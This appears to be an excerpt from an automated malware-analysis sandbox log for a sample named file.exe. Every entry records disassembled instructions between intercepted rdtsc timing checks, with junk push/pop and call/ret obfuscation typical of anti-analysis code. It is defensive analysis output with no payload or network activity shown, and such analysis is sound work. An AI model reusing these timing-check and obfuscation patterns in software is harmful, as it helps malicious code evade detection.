Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CB68A second address: 13CB694 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F65A4502596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CB7F7 second address: 13CB7FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CB8D5 second address: 13CB8D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CB8D9 second address: 13CB8DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CB8DF second address: 13CB8E9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F65A450259Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CC9EC second address: 13CC9F1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CE653 second address: 13CE657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CE7F6 second address: 13CE8A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A4C18FA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F65A4C18F98h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 mov dword ptr [ebp+122D18FEh], ebx 0x0000002c mov dword ptr [ebp+122D3803h], edi 0x00000032 push dword ptr fs:[00000000h] 0x00000039 push ebx 0x0000003a mov bl, cl 0x0000003c pop edi 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 push 00000000h 0x00000046 push edi 0x00000047 call 00007F65A4C18F98h 0x0000004c pop edi 0x0000004d mov dword ptr [esp+04h], edi 0x00000051 add dword ptr [esp+04h], 0000001Ah 0x00000059 inc edi 0x0000005a push edi 0x0000005b ret 0x0000005c pop edi 0x0000005d ret 0x0000005e mov eax, dword ptr [ebp+122D0011h] 0x00000064 stc 0x00000065 push FFFFFFFFh 0x00000067 jmp 00007F65A4C18FA8h 0x0000006c push eax 0x0000006d pushad 0x0000006e pushad 0x0000006f pushad 0x00000070 popad 0x00000071 jng 00007F65A4C18F96h 0x00000077 popad 0x00000078 push eax 0x00000079 push edx 0x0000007a js 00007F65A4C18F96h 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CF7F4 second address: 13CF7FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D061D second address: 13D062F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F65A4C18F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pushad 0x00000010 popad 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CF7FC second address: 13CF802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D062F second address: 13D0634 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CF802 second address: 13CF80F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CF8B3 second address: 13CF8D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A4C18FA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F65A4C18F98h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1586 second address: 13D158A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D158A second address: 13D1590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1590 second address: 13D15B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A45025A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F65A4502598h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D15B8 second address: 13D1639 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007F65A4C18F98h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 add dword ptr [ebp+122DBA9Fh], ecx 0x00000029 jmp 00007F65A4C18F9Bh 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push eax 0x00000033 call 00007F65A4C18F98h 0x00000038 pop eax 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d add dword ptr [esp+04h], 00000014h 0x00000045 inc eax 0x00000046 push eax 0x00000047 ret 0x00000048 pop eax 0x00000049 ret 0x0000004a push 00000000h 0x0000004c mov dword ptr [ebp+122D19FCh], ecx 0x00000052 xchg eax, esi 0x00000053 jmp 00007F65A4C18FA7h 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c pushad 0x0000005d popad 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1639 second address: 13D163E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D34C5 second address: 13D34D7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F65A4C18F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D34D7 second address: 13D34DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D34DB second address: 13D34DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D34DF second address: 13D34E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D34E5 second address: 13D34EA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D4543 second address: 13D454D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F65A4502596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D08C8 second address: 13D08CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D26DB second address: 13D26E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D37C4 second address: 13D37C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D37C9 second address: 13D37D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D37D6 second address: 13D37DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D765C second address: 13D7676 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F65A45025A6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D6785 second address: 13D678A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D678A second address: 13D681B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F65A4502598h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 or di, CC91h 0x00000029 mov dword ptr [ebp+1245602Dh], eax 0x0000002f push dword ptr fs:[00000000h] 0x00000036 push 00000000h 0x00000038 push ecx 0x00000039 call 00007F65A4502598h 0x0000003e pop ecx 0x0000003f mov dword ptr [esp+04h], ecx 0x00000043 add dword ptr [esp+04h], 0000001Ch 0x0000004b inc ecx 0x0000004c push ecx 0x0000004d ret 0x0000004e pop ecx 0x0000004f ret 0x00000050 mov ebx, esi 0x00000052 mov ebx, 291FF293h 0x00000057 mov dword ptr fs:[00000000h], esp 0x0000005e mov ebx, dword ptr [ebp+122D1905h] 0x00000064 mov eax, dword ptr [ebp+122D03B5h] 0x0000006a mov edi, 2C120181h 0x0000006f push FFFFFFFFh 0x00000071 mov ebx, dword ptr [ebp+122D358Ah] 0x00000077 nop 0x00000078 push eax 0x00000079 push edx 0x0000007a pushad 0x0000007b push eax 0x0000007c push edx 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D681B second address: 13D6821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D6821 second address: 13D6826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D7997 second address: 13D799B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D799B second address: 13D79AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jbe 00007F65A4502596h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D79AA second address: 13D79BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F65A4C18F9Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E1347 second address: 13E134D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E5700 second address: 13E5705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E5705 second address: 13E574E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A45025A9h 0x00000007 jmp 00007F65A45025A1h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F65A45025A7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E574E second address: 13E5752 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E5752 second address: 13E575A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E5F82 second address: 13E5F88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E5F88 second address: 13E5F98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 pop edi 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E5F98 second address: 13E5F9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E5F9E second address: 13E5FA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E5FA3 second address: 13E5FA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E5FA9 second address: 13E5FBE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007F65A4502596h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E5FBE second address: 13E5FD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A4C18F9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E5FD5 second address: 13E5FDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E5FDA second address: 13E5FEA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E6093 second address: 13E60A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E60A4 second address: 13E60AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13ECD8E second address: 13ECD93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EC345 second address: 13EC36E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007F65A4C18F96h 0x0000000d jmp 00007F65A4C18FA8h 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EC36E second address: 13EC385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F65A450259Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EC385 second address: 13EC389 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EC389 second address: 13EC38F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EC38F second address: 13EC397 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EC397 second address: 13EC39D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13ECBD1 second address: 13ECBF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F65A4C18F96h 0x0000000a jc 00007F65A4C18F96h 0x00000010 jmp 00007F65A4C18F9Fh 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push edi 0x0000001b pop edi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13ECBF9 second address: 13ECC2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F65A45025A5h 0x0000000e jmp 00007F65A45025A3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13ECC2A second address: 13ECC49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A4C18FA5h 0x00000007 jg 00007F65A4C18F96h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13ECC49 second address: 13ECC4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137FFEB second address: 137FFF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137FFF1 second address: 137FFFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F125B second address: 13F125F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F13A5 second address: 13F13BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pop ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F65A450259Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F13BD second address: 13F13C8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A6750 second address: 13A6761 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F65A450259Ah 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F239D second address: 13F23A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F0C30 second address: 13F0C36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F8B63 second address: 13F8B79 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F65A4C18F9Ch 0x00000008 jg 00007F65A4C18F96h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1381B6C second address: 1381B7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F65A450259Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F794A second address: 13F7950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F7950 second address: 13F7983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007F65A45025A0h 0x0000000b jmp 00007F65A45025A8h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F7983 second address: 13F7989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F7989 second address: 13F798D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F7AEE second address: 13F7AFC instructions: 0x00000000 rdtsc 0x00000002 jns 00007F65A4C18F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F7AFC second address: 13F7B06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F65A4502596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F84E4 second address: 13F84F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F65A4C18F96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F84F0 second address: 13F8502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F65A450259Bh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FB6E4 second address: 13FB6EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FB6EA second address: 13FB6EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FB6EE second address: 13FB716 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F65A4C18F96h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F65A4C18F9Dh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F65A4C18F9Bh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FB716 second address: 13FB732 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnp 00007F65A4502596h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F65A45025A0h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FB732 second address: 13FB738 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BED72 second address: 13BED77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BEFDC second address: 13BEFE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BEFE2 second address: 13BEFE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF227 second address: 13BF22C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
